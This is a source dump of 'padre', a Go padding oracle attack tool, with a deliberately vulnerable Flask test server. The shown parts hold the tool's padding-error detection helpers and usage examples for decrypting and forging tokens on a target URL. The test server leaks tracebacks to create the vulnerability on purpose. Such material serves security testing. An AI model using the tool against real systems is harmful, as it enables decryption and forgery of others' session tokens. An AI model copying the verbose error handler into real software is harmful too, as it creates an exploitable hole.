package probe
import (
"unicode"
"github.com/glebarez/padre/pkg/client"
)
// ResponseFingerprint ...
type ResponseFingerprint struct {
StatusCode int
Lines int
Words int
}
// GetResponseFingerprint - scrape fingerprint form http response
func GetResponseFingerprint(resp *client.Response) (*ResponseFingerprint, error) {
return &ResponseFingerprint{
StatusCode: resp.StatusCode,
Lines: countLines(resp.Body),
Words: countWords(resp.Body),
}, nil
}
// helper: count number of lines in input
func countLines(input []byte) int {
if len(input) == 0 {
return 0
}
count := 1
for _, b := range input {
if b == '\n' {
count++
}
}
return count
}
// helper: count number of lines in input
func countWords(input []byte) int {
inWord, count := false, 0
for _, r := range string(input) {
if unicode.IsSpace(r) {
inWord = false
} else if !inWord {
inWord = true
count++
}
}
return count
}
================================================
FILE: pkg/probe/interface.go
================================================
package probe
import "github.com/glebarez/padre/pkg/client"
// PaddingErrorMatcher - tests if HTTP response matches with padding error
type PaddingErrorMatcher interface {
IsPaddingError(*client.Response) (bool, error)
}
================================================
FILE: pkg/probe/matcher.go
================================================
package probe
import (
"regexp"
"github.com/glebarez/padre/pkg/client"
)
type matcherByFingerprint struct {
fingerprints []ResponseFingerprint
}
func (m *matcherByFingerprint) IsPaddingError(resp *client.Response) (bool, error) {
respFP, err := GetResponseFingerprint(resp)
if err != nil {
return false, err
}
for _, fp := range m.fingerprints {
if fp == *respFP {
return true, nil
}
}
return false, nil
}
type matcherByRegexp struct {
re *regexp.Regexp
}
func (m *matcherByRegexp) IsPaddingError(resp *client.Response) (bool, error) {
return m.re.Match(resp.Body), nil
}
func NewMatcherByRegexp(r string) (PaddingErrorMatcher, error) {
re, err := regexp.Compile(r)
if err != nil {
return nil, err
}
return &matcherByRegexp{re}, nil
}
================================================
FILE: pkg/util/http.go
================================================
package util
import (
"errors"
"net/http"
"regexp"
"strings"
)
// ParseCookies parses cookies in raw string format into net/http format
func ParseCookies(cookies string) (cookSlice []*http.Cookie, err error) {
// initial string produces emtpty cookies
if cookies == "" {
return []*http.Cookie{}, nil
}
// strip quotes if any
cookies = strings.Trim(cookies, `"'`)
// split several cookies into slice
cookieS := strings.Split(cookies, ";")
for _, c := range cookieS {
// strip whitespace
c = strings.TrimSpace(c)
// split to name and value
nameVal := strings.SplitN(c, "=", 2)
if len(nameVal) != 2 || strings.Contains(nameVal[1], "=") {
return nil, errors.New("failed to parse cookie")
}
cookSlice = append(cookSlice, &http.Cookie{Name: nameVal[0], Value: nameVal[1]})
}
return cookSlice, nil
}
// DetectContentType detects HTTP content type based on provided POST data
func DetectContentType(data string) string {
var contentType string
if data[0] == '{' || data[0] == '[' {
contentType = "application/json"
} else {
match, _ := regexp.MatchString("([^=]+=[^=]+&?)+", data)
if match {
contentType = "application/x-www-form-urlencoded"
} else {
contentType = http.DetectContentType([]byte(data))
}
}
return contentType
}
================================================
FILE: pkg/util/http_test.go
================================================
package util
import (
"net/http"
"reflect"
"testing"
)
func TestParseCookies(t *testing.T) {
type args struct {
cookies string
}
tests := []struct {
name string
args args
wantCookSlice []*http.Cookie
wantErr bool
}{
{"empty", args{""}, []*http.Cookie{}, false},
{"normal", args{"key=val"}, []*http.Cookie{{Name: "key", Value: "val"}}, false},
{"errornous", args{"key=val=1"}, nil, true},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
gotCookSlice, err := ParseCookies(tt.args.cookies)
if (err != nil) != tt.wantErr {
t.Errorf("ParseCookies() error = %v, wantErr %v", err, tt.wantErr)
return
}
if !reflect.DeepEqual(gotCookSlice, tt.wantCookSlice) {
t.Errorf("ParseCookies() = %v, want %v", gotCookSlice, tt.wantCookSlice)
}
})
}
}
func TestDetectContentType(t *testing.T) {
type args struct {
data string
}
tests := []struct {
name string
args args
want string
}{
{"json-object", args{"{'a':1}"}, "application/json"},
{"json-array", args{"[{'a':1}]"}, "application/json"},
{"form", args{"a=1&b=2"}, "application/x-www-form-urlencoded"},
{"text", args{"text"}, http.DetectContentType([]byte("text"))},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := DetectContentType(tt.args.data); got != tt.want {
t.Errorf("DetectContentType() = %v, want %v", got, tt.want)
}
})
}
}
================================================
FILE: pkg/util/random.go
================================================
package util
import (
"bytes"
"container/ring"
"math/rand"
)
// ring buffer for generating random chunks of bytes
var randomRing *ring.Ring
func init() {
mysteriousData := []byte{
0x67, 0x6c, 0x65, 0x62, 0x61, 0x72, 0x65, 0x7a,
0x66, 0x65, 0x72, 0x73, 0x69, 0x6e, 0x67, 0x62}
randomRing = ring.New(len(mysteriousData))
for _, b := range mysteriousData {
randomRing.Value = b
randomRing = randomRing.Next()
}
}
// RandomSlice generates random slice of bytes with specified length
func RandomSlice(len int) []byte {
buf := bytes.NewBuffer(make([]byte, 0, len))
for i := 0; i < len; i++ {
buf.WriteByte(randomRing.Value.(byte))
// randomly move ring
randomRing = randomRing.Move(rand.Intn(13))
}
return buf.Bytes()
}
================================================
FILE: pkg/util/random_test.go
================================================
package util
import (
"testing"
"github.com/stretchr/testify/require"
)
func TestRandomSlice(t *testing.T) {
var randoms = make([][]byte, 0, 10)
// generate some random slices
for i := 0; i < 10; i++ {
newRandom := RandomSlice(13)
// check uniqness
require.NotContains(t, randoms, newRandom)
randoms = append(randoms, newRandom)
}
}
================================================
FILE: pkg/util/strings.go
================================================
package util
import "strings"
// ReverseString returns reverse of a string (does not support runes)
func ReverseString(in string) string {
out := strings.Builder{}
for i := len(in) - 1; i >= 0; i-- {
out.WriteByte(in[i])
}
return out.String()
}
================================================
FILE: pkg/util/strings_test.go
================================================
package util
import "testing"
func TestReverseString(t *testing.T) {
type args struct {
in string
}
tests := []struct {
name string
args args
want string
}{
{"normal", args{"1234"}, "4321"},
{"empty", args{""}, ""},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := ReverseString(tt.args.in); got != tt.want {
t.Errorf("ReverseString() = %v, want %v", got, tt.want)
}
})
}
}
================================================
FILE: pkg/util/terminal.go
================================================
package util
import (
"os"
"github.com/mattn/go-isatty"
"github.com/nsf/termbox-go"
)
// TerminalWidth determines width of current terminal in characters
func TerminalWidth() (int, error) {
if err := termbox.Init(); err != nil {
return 0, err
}
w, _ := termbox.Size()
termbox.Close()
// decrease length by 1 for safety
// windows CMD sometimes needs this
return w - 1, nil
}
// IsTerminal checks whether file is a terminal
func IsTerminal(file *os.File) bool {
return isatty.IsTerminal(file.Fd()) || isatty.IsCygwinTerminal(file.Fd())
}
================================================
FILE: test_server/.dockerignore
================================================
__pycache__/
.pytest_cache/
htmlcov/
venv/
================================================
FILE: test_server/.gitignore
================================================
__pycache__/
.pytest_cache/
htmlcov/
venv/
================================================
FILE: test_server/.python-version
================================================
3.9.2
================================================
FILE: test_server/Dockerfile
================================================
FROM python:3.9
WORKDIR /usr/src/app
COPY requirements.txt ./
RUN pip install --no-cache-dir -r requirements.txt
COPY . .
EXPOSE 5000
CMD [ "python", "./server.py" ]
================================================
FILE: test_server/README.md
================================================
## Test server that is (on-demand) vulnerable to Padding Oracle
Use for testing purposes. AES only by now
## Config
Configuration is done via setting environment variables
|Env. variable | if not set | if set |
|---|---|---|
|VULNERABLE|Server **is not** vulnerable to padding oracle|Server **is** vulnerable to padding oracle|
|SECRET|AES key will be generated randomly|AES key will generated from the secret phrase. Use to achieve reproducible outputs between server runs|
|USE_GEVENT|Use Flask's built-in Web server|Use gevent's Web server (faster)
## Run
#### via Docker Compose
```console
docker-compose up
```
#### via Docker
```console
docker build -t pador_vuln_server .
docker run -it -p 5000:5000 pador_vuln_server
```
#### directly
```console
python server.py
```
================================================
FILE: test_server/app.py
================================================
import functools
import hashlib
import traceback
from flask import Flask, make_response, request
from werkzeug.exceptions import HTTPException
import crypto
import encoder
from encoder import Encoding
@functools.lru_cache()
def AES_key():
secret = app.config.get("SECRET", "default-secret")
return hashlib.md5(secret.encode()).digest()
app = Flask(__name__)
def get_encoding(request):
# get encoding (defaults to Base64 if not specified)
encoding = request.values.get("enc", None)
if encoding is None:
encoding = Encoding.B64.name
else:
encoding = encoding.upper()
return encoding
# encrypts the plaintext
@app.route("/encrypt", methods=["GET", "POST"])
def route_encrypt():
# get plaintext to encrypt
plain = request.values.get("plain", None)
if plain is None:
raise ValueError(
"Pass data to encrypt using 'plain' parameter in URL or POST data"
)
# encrypt the data (encoded to bytes)
cipher = crypto.encrypt(plain.encode(), AES_key())
# get encoding
encoding = get_encoding(request)
# encode encrypted chunk
encoded_cipher = encoder.encode(data=cipher, encoding=Encoding[encoding])
# answer
return encoded_cipher, 200
# decrypts the cipher
@app.route("/decrypt", methods=["GET", "POST"])
def route_decrypt():
# get ciphertext
encoded_cipher = request.values.get("cipher", None)
if encoded_cipher is None:
raise ValueError(
"Pass encoded chipher to decrypt using 'cipher' parameter in URL or POST data"
)
# get encoding
encoding = get_encoding(request)
# decode cipher into bytes
cipher = encoder.decode(data=encoded_cipher, encoding=Encoding[encoding])
# decrypt cipher into plaintext
plain = crypto.decrypt(cipher, AES_key())
# answer
return plain, 200
@app.route("/health")
def health():
return "OK", 200
# this is what makes the server vulnerable to padding oracle
# it just talks too much about errors
# NOTE: to test Padding Oracle detection, every exception's trace is printed
# (not just IncorrectPadding)
@app.errorhandler(Exception)
def handle_incorrect_padding(exc):
# pass through HTTP errors
if isinstance(exc, HTTPException):
return exc
# log exception
app.logger.error(exc)
if app.config.get("VULNERABLE"):
# vulnerable response
response = make_response(traceback.format_exc(), 500)
response.headers["content-type"] = "text/plain"
return response
else:
# non-vulnerable response
return "Internal server error", 500
================================================
FILE: test_server/crypto.py
================================================
import random
from Crypto.Cipher import AES
from Crypto.Util import Padding
def random_bytes(length: int) -> bytes:
out = []
for _ in range(length):
out.append(random.randint(0, 0xFF))
return bytes(out)
class IncorrectPadding(Exception):
def __init__(self):
super().__init__("Incorrect Padding")
def encrypt(data: bytes, key: bytes) -> bytes:
# pad data
data = Padding.pad(data, 16)
# new encryptor
encryptor = AES.new(key, AES.MODE_CBC)
# return IV + cipher
return encryptor.iv + encryptor.encrypt(data)
def decrypt(data: bytes, key: bytes) -> str:
# tell IV from cipher
iv, data = data[:16], data[16:]
# fresh encryptor with IV provided
encryptor = AES.new(key, AES.MODE_CBC, iv)
# decrypt
plain = encryptor.decrypt(data)
# unpad, decode, return
try:
return Padding.unpad(plain, 16)
except ValueError:
raise IncorrectPadding()
================================================
FILE: test_server/docker-compose.yaml
================================================
version: "2.1"
services:
vuln-server:
build: .
environment:
VULNERABLE: 1
USE_GEVENT: 1
ports:
- 5000:5000
================================================
FILE: test_server/encoder.py
================================================
import binascii as ba
from enum import Enum, auto
class Encoding(Enum):
B64 = auto() # base64
LHEX = auto() # lowercase hex
# decodes data
def decode(data: str, encoding: Encoding) -> bytes:
if encoding == Encoding.B64:
x = ba.a2b_base64(data)
elif encoding == Encoding.LHEX:
x = ba.unhexlify(data)
else:
raise RuntimeError(f"Unknown encoding {encoding}")
return x
# encodes binary data as plaintext string
def encode(data, encoding: Encoding) -> str:
if encoding == Encoding.B64:
x = ba.b2a_base64(data).decode()[:-1]
elif encoding == Encoding.LHEX:
x = ba.hexlify(data).decode()
else:
raise RuntimeError(f"Unknown encoding {encoding}")
return x
================================================
FILE: test_server/requirements.txt
================================================
Flask==2.3.2
gevent==23.9.1
pycryptodome==3.19.1
pytest==6.2.5
pytest-cov==3.0.0
================================================
FILE: test_server/server.py
================================================
import os
from app import app
if __name__ == "__main__":
# get application config from environment
for envvar in ["VULNERABLE", "SECRET"]:
if envvar in os.environ:
app.config[envvar] = os.environ[envvar]
if os.environ.get("USE_GEVENT"):
from gevent import monkey
monkey.patch_all()
from gevent.pywsgi import WSGIServer
WSGIServer(
(
"0.0.0.0",
5000,
),
app.wsgi_app,
).serve_forever()
else:
app.run("0.0.0.0", 5000)
================================================
FILE: test_server/setup.cfg
================================================
[tool:pytest]
testpaths =
tests
addopts =
--cov=.
--cov-report=html
--cov-report=term
python_functions =
test_*
python_files =
*_test.py
[coverage:run]
data_file = /tmp/.coverage
omit =
tests/*
venv/*
server.py
branch = True
================================================
FILE: test_server/tests/__init__.py
================================================
# do not delete
# needed for pytest
================================================
FILE: test_server/tests/app_test.py
================================================
from argparse import Namespace
import pytest, itertools
from app import app
from encoder import Encoding
@pytest.fixture(params=list(Encoding))
def encoding(request):
return request.param
@pytest.fixture(params=[True, False])
def is_vulnerable(request):
return request.param
@pytest.fixture(params=["GET", "POST"])
def http_method(request):
return request.param
@pytest.fixture
def secret():
return "secret"
@pytest.fixture
def client(is_vulnerable, secret):
# create app config
config = Namespace(VULNERABLE=is_vulnerable, SECRET=secret)
# inject config
app.config.from_object(config)
# create test client
return app.test_client()
@pytest.fixture
def call_route(client, http_method):
if http_method == "GET":
# apparently werkzeug expects query string to be passed as separated parameter in GET method
def get(endpoint, data = None):
return client.get(endpoint, query_string=data)
return get
elif http_method == "POST":
return client.post
else:
raise AssertionError("Not supported HTTP method: %s" % http_method)
@pytest.mark.parametrize("plaintext", [""])
def test_app(call_route, plaintext, is_vulnerable, encoding):
# send plaintext for encryption
resp = call_route("/encrypt", data={"plain": plaintext, "enc": encoding.name})
assert resp.status_code == 200
# get response string
cipher = resp.data.decode()
# send for decryption
resp = call_route("/decrypt", data={"cipher": cipher, "enc": encoding.name})
assert resp.status_code == 200
# compare results
deciphered = resp.data.decode()
assert deciphered == plaintext
# send malformed cipher
malformed_cipher = cipher[:-1]
resp = call_route("/decrypt", data={"cipher": malformed_cipher})
assert resp.status_code == 500
# check response verbosity
if not is_vulnerable:
assert resp.data.decode() == "Internal server error"
else:
assert "Traceback" in resp.data.decode()
def test_absent_params(call_route):
# no plaintext
resp = call_route("/encrypt")
assert resp.status_code == 500
# no ciphertext
resp = call_route("/decrypt")
assert resp.status_code == 500
# no explicit encoding
resp = call_route("/encrypt", data={"plain": "test"})
assert resp.status_code == 200
@pytest.mark.parametrize("http_method", ["GET"])
def test_health(call_route):
resp = call_route("/health")
assert resp.status_code == 200
# @pytest.mark.parametrize("secret", ["padre"])
# def test_reproducible_cipher(call_route, encoding, secret):
# print(app.config)
# resp = call_route("/encrypt", data={"plain": "padre"})
# assert resp.status_code == 200
# if encoding == Encoding.B64:
# assert resp.data.decode() == "P6tHBLB95YWpovay/a34pZNai624TAWLyWNVCMOmImM="
# print(app.config)
# elif encoding == Encoding.LHEX:
# assert resp.data.decode() == "xxx"
================================================
FILE: test_server/tests/crypto_test.py
================================================
import Crypto.Cipher.AES
import pytest
import crypto
KEY_LENGTH = 16
@pytest.fixture
def AES_key():
return crypto.random_bytes(KEY_LENGTH)
def generate_plain_variants():
# test all lengths up to AES block_size + 1
for i in range(Crypto.Cipher.AES.block_size + 2):
yield crypto.random_bytes(i)
@pytest.mark.parametrize("plain", generate_plain_variants(), ids=len)
def test_encrypt_decrypt(AES_key, plain):
# test normal flow
encrypted = crypto.encrypt(plain, AES_key)
decrypted = crypto.decrypt(encrypted, AES_key)
assert decrypted == plain
# test padding error
with pytest.raises(crypto.IncorrectPadding):
# decrement last byte in encrypted payload
# to cause padding error while decrypting
encrypted = bytearray(encrypted)
# stay in byte-value range
if encrypted[-1] > 0:
encrypted[-1] -= 1
else:
encrypted[-1] = 0xFF
crypto.decrypt(bytes(encrypted), AES_key)
================================================
FILE: test_server/tests/encoder_test.py
================================================
import pytest
from crypto import random_bytes
from encoder import Encoding, decode, encode
@pytest.mark.parametrize("value", [random_bytes(i) for i in range(10)], ids=len)
@pytest.mark.parametrize("encoding", list(Encoding))
def test_encoding_decoding(value, encoding):
encoded = encode(value, encoding)
decoded = decode(encoded, encoding)
assert decoded == value
def test_unknown_encoding():
with pytest.raises(RuntimeError):
encode(b"", -1)
with pytest.raises(RuntimeError):
decode("", -1)
================================================
FILE: usage.go
================================================
package main
import (
"regexp"
"github.com/glebarez/padre/pkg/color"
)
var usage = `
Usage: cmd(padre [OPTIONS] [INPUT])
INPUT:
In bold(decrypt) mode: encrypted data
In bold(encrypt) mode: the plaintext to be encrypted
If not passed, will read from bold(STDIN)
NOTE: binary data is always encoded in HTTP. Tweak encoding rules if needed (see options: flag(-e), flag(-r))
OPTIONS:
flag(-u) *required*
target URL, use dollar($) character to define token placeholder (if present in URL)
flag(-enc)
Encrypt mode
flag(-err)
Regex pattern, HTTP response bodies will be matched against this to detect padding oracle. Omit to perform automatic fingerprinting
flag(-e)
Encoding to apply to binary data. Supported values:
b64 (standard base64) *default*
lhex (lowercase hex)
flag(-r)
Additional replacements to apply after encoding binary data. Use odd-length strings, consiting of pairs of characters <OLD><NEW>.
Example:
If server uses base64, but replaces '/' with '!', '+' with '-', '=' with '~', then use cmd(-r "/!+-=~")
flag(-cookie)
Cookie value to be set in HTTP requests. Use dollar($) character to mark token placeholder.
flag(-post)
String data to perform POST requests. Use dollar($) character to mark token placeholder.
flag(-ct)
Content-Type for POST requests. If not specified, Content-Type will be determined automatically.
flag(-b)
Block length used in cipher (use 16 for AES). Omit to perform automatic detection. Supported values:
8
16 *default*
32
flag(-p)
Number of parallel HTTP connections established to target server [1-256]
30 *default*
flag(-proxy)
HTTP proxy. e.g. use cmd(-proxy "http://localhost:8080") for Burp or ZAP
bold(Examples:)
Decrypt token in GET parameter: cmd(padre -u "http://vulnerable.com/login?token=$" "u7bvLewln6PJ670Gnj3hnE40L0SqG8e6")
POST data: cmd(padre -u "http://vulnerable.com/login" -post "token=$" "u7bvLewln6PJ670Gnj3hnE40L0SqG8e6")
Cookies: cmd(padre -u "http://vulnerable.com/login$" -cookie "auth=$" "u7bvLewln6PJ670Gnj3hnE40L0SqG8e6")
Encrypt token in GET parameter: cmd(padre -u "http://vulnerable.com/login?token=$" -enc "EncryptMe")
`
func init() {
// add some color to usage text
re := regexp.MustCompile(`\*required\*`)
usage = string(re.ReplaceAll([]byte(usage), []byte(color.Yellow(`(required)`))))
re = regexp.MustCompile(`\*default\*`)
usage = string(re.ReplaceAll([]byte(usage), []byte(color.Green(`(default)`))))
re = regexp.MustCompile(`cmd\(([^\)]*?)\)`)
usage = string(re.ReplaceAll([]byte(usage), []byte(color.Cyan("$1"))))
re = regexp.MustCompile(`dollar\(([^\)]*?)\)`)
usage = string(re.ReplaceAll([]byte(usage), []byte(color.CyanBold("$1"))))
re = regexp.MustCompile(`flag\(([^\)]*?)\)`)
usage = string(re.ReplaceAll([]byte(usage), []byte(color.GreenBold("$1"))))
re = regexp.MustCompile(`link\(([^\)]*?)\)`)
usage = string(re.ReplaceAll([]byte(usage), []byte(color.Underline("$1"))))
re = regexp.MustCompile(`bold\(([^\)]*?)\)`)
usage = string(re.ReplaceAll([]byte(usage), []byte(color.Bold("$1"))))
}
gitextract_e79k7lbs/ ├── .dockerignore ├── .github/ │ ├── dependabot.yml │ └── workflows/ │ ├── build-release.yaml │ └── test.yaml ├── .gitignore ├── Dockerfile ├── LICENSE ├── Makefile ├── README.md ├── arg_errors.go ├── args.go ├── docker-compose.yml ├── go.mod ├── go.sum ├── hints.go ├── main.go ├── pkg/ │ ├── client/ │ │ ├── client.go │ │ ├── client_test.go │ │ ├── probe.go │ │ ├── probe_test.go │ │ ├── response.go │ │ └── util.go │ ├── color/ │ │ ├── color.go │ │ └── color_test.go │ ├── encoder/ │ │ ├── ascii.go │ │ ├── ascii_test.go │ │ ├── factory.go │ │ ├── hex.go │ │ ├── interface.go │ │ ├── replacer.go │ │ └── replacer_test.go │ ├── exploit/ │ │ ├── decrypt.go │ │ ├── encrypt.go │ │ ├── exploit.go │ │ ├── padre.go │ │ ├── probes.go │ │ └── util.go │ ├── output/ │ │ ├── hackybar.go │ │ ├── prefix.go │ │ └── printer.go │ ├── probe/ │ │ ├── confirm.go │ │ ├── detect.go │ │ ├── fingerprint.go │ │ ├── interface.go │ │ └── matcher.go │ └── util/ │ ├── http.go │ ├── http_test.go │ ├── random.go │ ├── random_test.go │ ├── strings.go │ ├── strings_test.go │ └── terminal.go ├── test_server/ │ ├── .dockerignore │ ├── .gitignore │ ├── .python-version │ ├── Dockerfile │ ├── README.md │ ├── app.py │ ├── crypto.py │ ├── docker-compose.yaml │ ├── encoder.py │ ├── requirements.txt │ ├── server.py │ ├── setup.cfg │ └── tests/ │ ├── __init__.py │ ├── app_test.py │ ├── crypto_test.py │ └── encoder_test.py └── usage.go
SYMBOL INDEX (146 symbols across 47 files)
FILE: arg_errors.go
type argErrors (line 5) | type argErrors struct
method flagError (line 17) | func (p *argErrors) flagError(flag string, err error) {
method flagErrorf (line 22) | func (p *argErrors) flagErrorf(flag string, format string, a ...interf...
method flagWarningf (line 27) | func (p *argErrors) flagWarningf(flag string, format string, a ...inte...
method warningf (line 32) | func (p *argErrors) warningf(format string, a ...interface{}) {
function newArgErrors (line 10) | func newArgErrors() *argErrors {
FILE: args.go
function init (line 16) | func init() {
constant defaultConcurrency (line 24) | defaultConcurrency = 30
constant defaultTerminalWidth (line 25) | defaultTerminalWidth = 80
constant maxConcurrency (line 26) | maxConcurrency = 256
type Args (line 30) | type Args struct
function parseArgs (line 44) | func parseArgs() (*Args, *argErrors) {
FILE: hints.go
function _f (line 9) | func _f(f string) string {
function makeDetectionHints (line 24) | func makeDetectionHints(args *Args) []string {
function printHints (line 48) | func printHints(p *output.Printer, hints []string) {
FILE: main.go
function main (line 24) | func main() {
FILE: pkg/client/client.go
type Client (line 16) | type Client struct
method DoRequest (line 48) | func (c *Client) DoRequest(ctx context.Context, cipher []byte) (*Respo...
FILE: pkg/client/client_test.go
function TestClient_DoRequest (line 16) | func TestClient_DoRequest(t *testing.T) {
function TestClient_BrokenURL (line 104) | func TestClient_BrokenURL(t *testing.T) {
function TestClient_NotRespondingServer (line 110) | func TestClient_NotRespondingServer(t *testing.T) {
FILE: pkg/client/probe.go
constant probeCount (line 9) | probeCount = 256
type ProbeResult (line 12) | type ProbeResult struct
method SendProbes (line 21) | func (client *Client) SendProbes(ctx context.Context, chunk []byte, pos ...
FILE: pkg/client/probe_test.go
function TestClient_SendProbes (line 17) | func TestClient_SendProbes(t *testing.T) {
FILE: pkg/client/response.go
type Response (line 4) | type Response struct
FILE: pkg/client/util.go
function replacePlaceholder (line 9) | func replacePlaceholder(s, placeholder, replacement string) string {
function copySlice (line 15) | func copySlice(slice []byte) []byte {
FILE: pkg/color/color.go
function init (line 15) | func init() {
function StripColor (line 39) | func StripColor(s string) string {
function TrueLen (line 44) | func TrueLen(s string) int {
FILE: pkg/color/color_test.go
function TestTrueLen (line 5) | func TestTrueLen(t *testing.T) {
FILE: pkg/encoder/ascii.go
type asciiEncoder (line 9) | type asciiEncoder struct
method EncodeToString (line 12) | func (e asciiEncoder) EncodeToString(input []byte) string {
method DecodeString (line 32) | func (e asciiEncoder) DecodeString(input string) ([]byte, error) {
FILE: pkg/encoder/ascii_test.go
function Test_asciiEncoder_EncodeToString (line 9) | func Test_asciiEncoder_EncodeToString(t *testing.T) {
function Test_asciiEncoder_DecodeString (line 35) | func Test_asciiEncoder_DecodeString(t *testing.T) {
FILE: pkg/encoder/factory.go
function NewB64encoder (line 5) | func NewB64encoder(replacements string) Encoder {
function NewLHEXencoder (line 9) | func NewLHEXencoder(replacements string) Encoder {
function NewASCIIencoder (line 13) | func NewASCIIencoder() Encoder {
FILE: pkg/encoder/hex.go
type lhexEncoder (line 6) | type lhexEncoder struct
method EncodeToString (line 8) | func (h *lhexEncoder) EncodeToString(input []byte) string {
method DecodeString (line 12) | func (h *lhexEncoder) DecodeString(input string) ([]byte, error) {
FILE: pkg/encoder/interface.go
type Encoder (line 4) | type Encoder interface
type DecodeError (line 10) | type DecodeError
method Error (line 12) | func (e DecodeError) Error() string { return string(e) }
FILE: pkg/encoder/replacer.go
type encoderWithReplacer (line 10) | type encoderWithReplacer struct
method EncodeToString (line 17) | func (r *encoderWithReplacer) EncodeToString(input []byte) string {
method DecodeString (line 23) | func (r *encoderWithReplacer) DecodeString(input string) ([]byte, erro...
function newEncoderWithReplacer (line 33) | func newEncoderWithReplacer(encoder Encoder, replacements string) Encoder {
FILE: pkg/encoder/replacer_test.go
function TestReplacer (line 12) | func TestReplacer(t *testing.T) {
FILE: pkg/exploit/decrypt.go
method Decrypt (line 5) | func (p *Padre) Decrypt(ciphertext []byte, byteStream chan byte) ([]byte...
FILE: pkg/exploit/encrypt.go
method Encrypt (line 9) | func (p *Padre) Encrypt(plainText string, byteStream chan byte) ([]byte,...
FILE: pkg/exploit/exploit.go
method breakCipher (line 15) | func (p *Padre) breakCipher(cipherBlock []byte, byteStreamer func(byte))...
FILE: pkg/exploit/padre.go
type Padre (line 8) | type Padre struct
FILE: pkg/exploit/probes.go
method getErrorlessByteValues (line 11) | func (p *Padre) getErrorlessByteValues(chunk []byte, pos int, maxCount i...
method IsPaddingErrorInChunk (line 50) | func (p *Padre) IsPaddingErrorInChunk(chunk []byte) (bool, error) {
FILE: pkg/exploit/util.go
function xorSlices (line 6) | func xorSlices(s1 []byte, s2 []byte) []byte {
function Pkcs7Pad (line 20) | func Pkcs7Pad(input string, blockLen int) string {
function newXORingStreamer (line 25) | func newXORingStreamer(xorArg []byte, outChan chan byte) func(byte) {
FILE: pkg/output/hackybar.go
constant updateFreq (line 15) | updateFreq = 13
type HackyBar (line 22) | type HackyBar struct
method Stop (line 60) | func (p *HackyBar) Stop() {
method Start (line 66) | func (p *HackyBar) Start() {
method listenAndPrint (line 72) | func (p *HackyBar) listenAndPrint() {
method buildStatusString (line 133) | func (p *HackyBar) buildStatusString(hacky bool) string {
function CreateHackyBar (line 45) | func CreateHackyBar(encoder encoder.Encoder, outputByteLen int, encryptM...
function unknownString (line 198) | func unknownString(n int, hacky bool) string {
FILE: pkg/output/prefix.go
constant space (line 10) | space = ` `
type prefix (line 17) | type prefix struct
method string (line 27) | func (p *prefix) string() string {
method setLF (line 45) | func (p *prefix) setLF() {
function newPrefix (line 53) | func newPrefix(s string, outter *prefix, paragraph bool) *prefix {
FILE: pkg/output/printer.go
constant _LF (line 12) | _LF = "\n"
constant _CR (line 13) | _CR = "\x1b\x5b2K\r"
type Printer (line 17) | type Printer struct
method print (line 25) | func (p *Printer) print(s string) {
method Print (line 29) | func (p *Printer) Print(s string) {
method AddPrefix (line 46) | func (p *Printer) AddPrefix(s string, paragraph bool) {
method RemovePrefix (line 51) | func (p *Printer) RemovePrefix() {
method Println (line 56) | func (p *Printer) Println(s string) {
method Printcr (line 66) | func (p *Printer) Printcr(s string) {
method Printf (line 71) | func (p *Printer) Printf(format string, a ...interface{}) {
method Printlnf (line 75) | func (p *Printer) Printlnf(format string, a ...interface{}) {
method Printcrf (line 79) | func (p *Printer) Printcrf(format string, a ...interface{}) {
method PrintWithPrefix (line 84) | func (p *Printer) PrintWithPrefix(prefix, message string) {
method Error (line 90) | func (p *Printer) Error(err error) {
method Errorf (line 94) | func (p *Printer) Errorf(format string, a ...interface{}) {
method Hint (line 98) | func (p *Printer) Hint(format string, a ...interface{}) {
method Warning (line 102) | func (p *Printer) Warning(format string, a ...interface{}) {
method Success (line 106) | func (p *Printer) Success(format string, a ...interface{}) {
method Info (line 110) | func (p *Printer) Info(format string, a ...interface{}) {
method Action (line 114) | func (p *Printer) Action(s string) {
FILE: pkg/probe/confirm.go
function ConfirmPaddingOracle (line 12) | func ConfirmPaddingOracle(c *client.Client, matcher PaddingErrorMatcher,...
FILE: pkg/probe/detect.go
function DetectPaddingErrorFingerprint (line 11) | func DetectPaddingErrorFingerprint(c *client.Client, blockLen int) (Padd...
function inSlice (line 79) | func inSlice(slice []int, value int) bool {
FILE: pkg/probe/fingerprint.go
type ResponseFingerprint (line 10) | type ResponseFingerprint struct
function GetResponseFingerprint (line 17) | func GetResponseFingerprint(resp *client.Response) (*ResponseFingerprint...
function countLines (line 26) | func countLines(input []byte) int {
function countWords (line 40) | func countWords(input []byte) int {
FILE: pkg/probe/interface.go
type PaddingErrorMatcher (line 6) | type PaddingErrorMatcher interface
FILE: pkg/probe/matcher.go
type matcherByFingerprint (line 9) | type matcherByFingerprint struct
method IsPaddingError (line 13) | func (m *matcherByFingerprint) IsPaddingError(resp *client.Response) (...
type matcherByRegexp (line 29) | type matcherByRegexp struct
method IsPaddingError (line 33) | func (m *matcherByRegexp) IsPaddingError(resp *client.Response) (bool,...
function NewMatcherByRegexp (line 37) | func NewMatcherByRegexp(r string) (PaddingErrorMatcher, error) {
FILE: pkg/util/http.go
function ParseCookies (line 11) | func ParseCookies(cookies string) (cookSlice []*http.Cookie, err error) {
function DetectContentType (line 39) | func DetectContentType(data string) string {
FILE: pkg/util/http_test.go
function TestParseCookies (line 9) | func TestParseCookies(t *testing.T) {
function TestDetectContentType (line 37) | func TestDetectContentType(t *testing.T) {
FILE: pkg/util/random.go
function init (line 12) | func init() {
function RandomSlice (line 26) | func RandomSlice(len int) []byte {
FILE: pkg/util/random_test.go
function TestRandomSlice (line 9) | func TestRandomSlice(t *testing.T) {
FILE: pkg/util/strings.go
function ReverseString (line 6) | func ReverseString(in string) string {
FILE: pkg/util/strings_test.go
function TestReverseString (line 5) | func TestReverseString(t *testing.T) {
FILE: pkg/util/terminal.go
function TerminalWidth (line 11) | func TerminalWidth() (int, error) {
function IsTerminal (line 23) | func IsTerminal(file *os.File) bool {
FILE: test_server/app.py
function AES_key (line 14) | def AES_key():
function get_encoding (line 22) | def get_encoding(request):
function route_encrypt (line 35) | def route_encrypt():
function route_decrypt (line 58) | def route_decrypt():
function health (line 80) | def health():
function handle_incorrect_padding (line 89) | def handle_incorrect_padding(exc):
FILE: test_server/crypto.py
function random_bytes (line 7) | def random_bytes(length: int) -> bytes:
class IncorrectPadding (line 14) | class IncorrectPadding(Exception):
method __init__ (line 15) | def __init__(self):
function encrypt (line 19) | def encrypt(data: bytes, key: bytes) -> bytes:
